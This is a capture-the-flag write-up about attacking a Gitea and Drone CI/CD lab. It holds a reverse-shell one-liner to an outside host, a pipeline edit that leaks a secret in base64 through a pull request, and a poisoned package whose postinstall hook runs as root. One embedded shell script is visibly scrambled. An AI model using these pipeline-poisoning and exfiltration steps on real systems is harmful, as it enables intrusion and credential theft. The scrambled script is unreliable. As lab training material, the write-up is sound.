As part of the Brunner CTF 2026, the "Three ways" challenge is a Boot2Root challenge based on CI/CD—the first of its kind I've encountered. Having worked with CI/CD from the other side (building and testing my many side projects), it was a refreshing opportunity to explore this domain from an attacker's perspective. Without further ado, let's get into it.
Stage 1: Flow
Spinning up the challenge instances provided links to a Gitea and a Drone instance. While I am familiar with Gitea being a self-hostable Git platform due to my many self-hosting rabbit-hole deep dives, Drone was new to me. I learned that it is a "CI/CD platform built with a containers-first architecture."
The challenge provided default credentials, with the following description:
Team, we did it. We have officially eliminated friction. Permission gates? Deprecated. Approval queues? A fixed mindset we've chosen to leave behind. Here at Brunnerne Inc.™, value flows left to right, unblocked, empowered and self-service.
Onboarding note for our new contractors: Welcome aboard! Your access is intentionally minimal, go create beautiful value for our shareholders. We're certain you will go down in history!
Credentials: `brunner_dev:dev_go_brr`
The permission gates being deprecated and approval queues being left behind, along with the presence of the Drone platform, immediately made me think about getting a shell on the CI machines.
Logging into Gitea with the provided default credentials revealed:
An empty dashboard!
Poking through the interface for a bit led me to the explore panel, where I could see two more repositories belonging to the brunner_ops and brunner_admin accounts.
The brunner_ops repository, in particular, looked really interesting given its latest commit message, which read: read the ci password from the environment.
Looking into the commit history, the password for the brunner_ci user was sitting in plaintext. I then used that to log in as the brunner_ci user.
The current user also had write permissions for the brunner_admin/hello-drone repository, which also showed up on the Drone platform with an option to trigger a build.
The .drone.yml file at the repository root, which describes the whole pipeline, had three steps, two of which ran a Python file and its tests.
kind: pipeline
type: exec
name: default
platform:
os: linux
arch: amd64
steps:
- name: test
commands:
- python -m unittest discover -v
- name: build
commands:
- python app.py
- name: report
commands:
- echo "build ${DRONE_BUILD_NUMBER} of ${DRONE_REPO} on ${DRONE_COMMIT_BRANCH} succeeded"
The app.py itself was rather minimal, performing a few arithmetic operations. Using revshells, I quickly added a few lines of code which would give me a reverse shell, which I was going to access using the bore tool on my PC.
Committing to the repository triggered the CI step, and a reverse shell owned by the drone user was waiting for me! Navigating to the home directory of the drone user revealed the first flag!
Flag: brunner{4ch13v3_4bs0lut3_fl0w_st4t3}
Stage 2: Feedback/Continuous Improvement
With my brunner_ci session, the explore tab also showed a private repository called deploy_tools owned by the brunner_ops user. The README.md said:
# deploy-tools
Tooling for building and verifying rollout bundles. Read-only members can open pull requests.
## CI
`verify-release.sh` pulls the newest bundle and re-checks its `SHA256SUMS`.
This sounded like the author intended for players to fork the repository and have it executed via the Drone CI.
The challenge description also echoed a similar sentiment:
Brunnerne is a blameless, feedback-rich organisation. Every pull request runs our world-class verification pipeline, because we believe great ideas can come from anywhere, even outside the team. Especially outside the team. We're inclusive like that.
Rest assured: our secrets are handled to industry-adjacent standards and our logs are appropriately redacted.
The last line indicates that string-matching secret redaction would be enabled for the repository, so we'll have to encode the secret before printing it to avoid redaction.
Looking through the deploy-tools repository, the .drone.yml file shows that the verify-release.sh script runs with the REGISTRY_TOKEN variable set!
kind: pipeline
type: exec
name: default
platform:
os: linux
arch: amd64
steps:
- name: test
commands:
- python -m unittest discover -v
- name: verify-release
environment:
REGISTRY_TOKEN:
from_secret: registry_token
commands:
- sh verify-release.sh
The bundled (pun intended) make-bundle.sh script does most of the heavy lifting, taking in a source directory and a version number. Most importantly, it ensures that we include a post-install hook, making that the obvious attack path. Here's the full script:
#!/bin/sh
set -eu
SRC=${1:?usage: make-bundle.sh <src-dir> <version> [out-dir]}
VERSION=${2:?usage: make-bundle.sh <src-dir> <version> [out-dir]}
OUT=${3:-dist}
PACKAGE=rollout-bundle
[ -d "$SRC" ] || { echo "no such directory: $SRC" >&2; exit 1; }
WORK=$(mktemp -d)
trap 'rm -rf "$WORK"' EXIT
mkdir -p "$WORK/bundle"
cp -R "$SRC/." "$WORK/bundle/"
if [ -d "$SRC/$OUT" ]; then
rm -rf "$WORK/bundle/$OUT"
fi
[ -f "$WORK/bundle/hooks/postinstall" ] || {
echo "$SRC/hooks/postinstall is missing, the agent has nothing to run" >&2
exit 1
}
cat > "$WORK/bundle/manifest.json" <<EOF "$PACKAGE", "$VERSION", "$WORK/bundle" "$WORK/bundle/SHA256SUMS" "hooks": "hooks/postinstall" "package": "postinstall": "version": && ( ) -exec -f -k2 -type . EOF \; cd f find rm sha256sum sort { {} | }> "$WORK/SHA256SUMS"
mv "$WORK/SHA256SUMS" "$WORK/bundle/SHA256SUMS"
mkdir -p "$OUT"
tar -czf "$OUT/$PACKAGE-$VERSION.tar.gz" -C "$WORK" bundle
echo "$OUT/$PACKAGE-$VERSION.tar.gz"
Drone also injects the workspace secrets into the fork runs, so I forked the repository and cloned it to my machine.
Checking the .drone.yml file again, I realized that the environment variable containing the registry token was set in the verify-release step. I replaced the command in there to open a reverse shell to my machine. It now looked like this:
kind: pipeline
type: exec
name: default
platform:
os: linux
arch: amd64
steps:
- name: test
commands:
- python -m unittest discover -v
- name: verify-release
environment:
REGISTRY_TOKEN:
from_secret: registry_token
commands:
- sh -i >& /dev/tcp/bore.pub/61940 0>&1
It failed with an error, and I realized I didn't need a shell at all. I just added the following line:
echo "$REGISTRY_TOKEN" | base64
The base64 encoding was to escape Gitea's string secret detection.
The build ran, but it was not giving the correct token; instead, it just output Cg== (which is just an empty newline). I realized that this was because it was running in the context of the brunner_ci user. I opened a pull request into the brunner_ops repository, which triggered the build in their context. The registry token was then leaked as NzVjNDlkNmQ1ZDYwMDRjZTQyMWE3NTU1YTY1MWEyM2RhZjFjYjhhMwo=, which decoded to 75c49d6d5d6004ce421a7555a651a23daf1cb8a3.
With the brunner_ops token, which presumably had write access to the package repository, we could now finally insert our malicious package to get a root shell.
Before continuing on this path, I decided to use the Gitea API to ensure we had write permissions on the package repository.
➜ litmus deploy-tools (main) ✔ curl -s -H "Authorization: token 75c49d6d5d6004ce421a7555a651a23daf1cb8a3" \
"$GITEA_URL/api/v1/user" | jq
{
"id": 5,
"login": "brunner_svc",
"login_name": "",
"full_name": "",
"email": "svc@example.com",
"avatar_url": "[https://secure.gravatar.com/avatar/456f9a7c789fccb68928e68db5999bb1?d=identicon](https://secure.gravatar.com/avatar/456f9a7c789fccb68928e68db5999bb1?d=identicon)",
"language": "",
"is_admin": false,
"last_login": "1970-01-01T00:00:00Z",
"created": "2026-08-24T16:07:19Z",
"restricted": false,
"active": true,
"prohibit_login": false,
"location": "",
"website": "",
"description": "",
"visibility": "private",
"followers_count": 0,
"following_count": 0,
"starred_repos_count": 0,
"username": "brunner_svc"
}
This confirms that it's a service account: brunner_svc.
Since make-bundle.sh had already told us everything we needed—the expected source layout, the mandatory hooks/postinstall script, and the fact that the agent installs whatever is versioned newest—building the payload was straightforward.
➜ litmus deploy-tools (main) ✔ mkdir malicious-src/hooks -p
➜ litmus deploy-tools (main) ✔ nvim malicious-src/hooks/postinstall
➜ litmus deploy-tools (main) ✗ chmod +x malicious-src/hooks/postinstall
➜ litmus deploy-tools (main) ✗ sh make-bundle.sh malicious-src 999.0.0 dist
dist/rollout-bundle-999.0.0.tar.gz
➜ litmus deploy-tools (main) ✗
The version 999.0.0 was chosen to comfortably outrank any existing version. The resulting tarball was uploaded directly to the brunner_registry generic package feed using the token leaked in Stage 2.
The script was structured as follows:
mkdir -p malicious-src/hooks
cat > malicious-src/hooks/postinstall << 'EOF'
#!/bin/sh
{
id
cat /root/flag.txt 2>/dev/null
} > /tmp/pwned.log 2>&1
EOF
chmod +x malicious-src/hooks/postinstall
sh make-bundle.sh malicious-src 999.0.0 dist
To retrieve the result, another step was added to the pipeline to read the output file:
- name: read-result
commands:
- cat /tmp/pwned.log
This returned:
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
brunner{w4k3_up_n3w_supply_ch41n_4tt4ck_ju5t_dr0pp3d}
There was a third flag too, buried somewhere in a hidden package version accessible via the Drone CI API, but I haven't included it here as I didn't find it during the CTF.